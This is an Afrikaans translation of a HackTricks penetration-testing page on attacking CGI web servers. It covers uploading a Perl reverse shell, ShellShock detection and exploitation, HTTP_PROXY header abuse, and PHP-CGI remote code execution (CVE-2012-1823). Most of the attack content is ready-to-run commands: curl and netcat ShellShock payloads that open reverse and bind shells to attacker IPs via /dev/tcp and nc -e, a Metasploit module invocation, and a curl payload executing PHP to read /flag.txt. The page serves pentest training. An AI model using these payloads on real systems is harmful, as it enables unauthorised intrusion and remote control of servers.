hacktricks/network-services-pentesting/pentesting-web/cgi.md

6.9 KiB

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks
{% endhint %}

Inligting

Die CGI-skripte is perl-skripte, so, as jy 'n bediener gecompromitteer het wat .cgi skripte kan uitvoer, kan jy 'n perl reverse shell oplaai `/usr/share/webshells/perl/perl-reverse-shell.pl`, die uitbreiding verander van .pl na .cgi, uitvoeringsregte gee `chmod +x` en toegang tot die reverse shell van die webblaaier om dit uit te voer. Om te toets vir CGI kwesbaarhede word dit aanbeveel om nikto -C all en al die plugins te gebruik.

ShellShock

ShellShock is 'n kwesbaarheid wat die algemeen gebruikte Bash opdraglyn-skal in Unix-gebaseerde bedryfstelsels beïnvloed. Dit teiken die vermoë van Bash om opdragte wat deur toepassings oorgedra word, uit te voer. Die kwesbaarheid lê in die manipulasie van omgewing veranderlikes, wat dinamiese benoemde waardes is wat beïnvloed hoe prosesse op 'n rekenaar loop. Aanvallers kan dit benut deur kwaadaardige kode aan omgewing veranderlikes te heg, wat uitgevoer word wanneer die veranderlike ontvang word. Dit stel aanvallers in staat om die stelsel moontlik te kompromitteer.

Deur hierdie kwesbaarheid te benut, kan die bladsy 'n fout gooi.

Jy kan hierdie kwesbaarheid vind deur te let op dat dit 'n ou Apache weergawe en cgi_mod met cgi-gids gebruik of deur nikto te gebruik.

Toets

Meeste toetse is gebaseer op om iets te echo en verwag dat daardie string in die webrespons teruggestuur word. As jy dink 'n bladsy mag kwesbaar wees, soek vir al die cgi-bladsye en toets hulle.

Nmap

nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Curl (reflected, blind and out-of-band)

# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh

Shellsocker

python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi

Exploit

#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run

Proxy (MitM na Web bediener versoeke)

CGI skep 'n omgewing veranderlike vir elke kop in die http versoek. Byvoorbeeld: "host:web.com" word geskep as "HTTP_HOST"="web.com"

Aangesien die HTTP_PROXY veranderlike deur die web bediener gebruik kan word. Probeer om 'n kop te stuur wat bevat: "Proxy: <IP_aanvaller>:<PORT>" en as die bediener enige versoek tydens die sessie uitvoer. Jy sal in staat wees om elke versoek wat deur die bediener gemaak word, te vang.

Ou PHP + CGI = RCE CVE-2012-1823, CVE-2012-2311

Basies, as cgi aktief is en php "oud" &lt;5.3.12 / &lt; 5.4.2 kan jy kode uitvoer. Om hierdie kwesbaarheid te benut, moet jy toegang verkry tot 'n PHP-lêer van die web bediener sonder om parameters te stuur veral sonder om die karakter "=" te stuur. Dan, om hierdie kwesbaarheid te toets, kan jy byvoorbeeld toegang verkry tot /index.php?-s let op die `-s` en bronkode van die toepassing sal in die antwoord verskyn.

Dan, om RCE te verkry, kan jy hierdie spesiale navraag stuur: /?-d allow_url_include=1 -d auto_prepend_file=php://input en die PHP kode wat in die liggaam van die versoek uitgevoer moet word. Voorbeeld:**

curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

Meer inligting oor die kwesbaarheid en moontlike eksploit: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Skryweksample.

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Opleiding AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Opleiding GCP Red Team Expert (GRTE)

Ondersteun HackTricks
{% endhint %}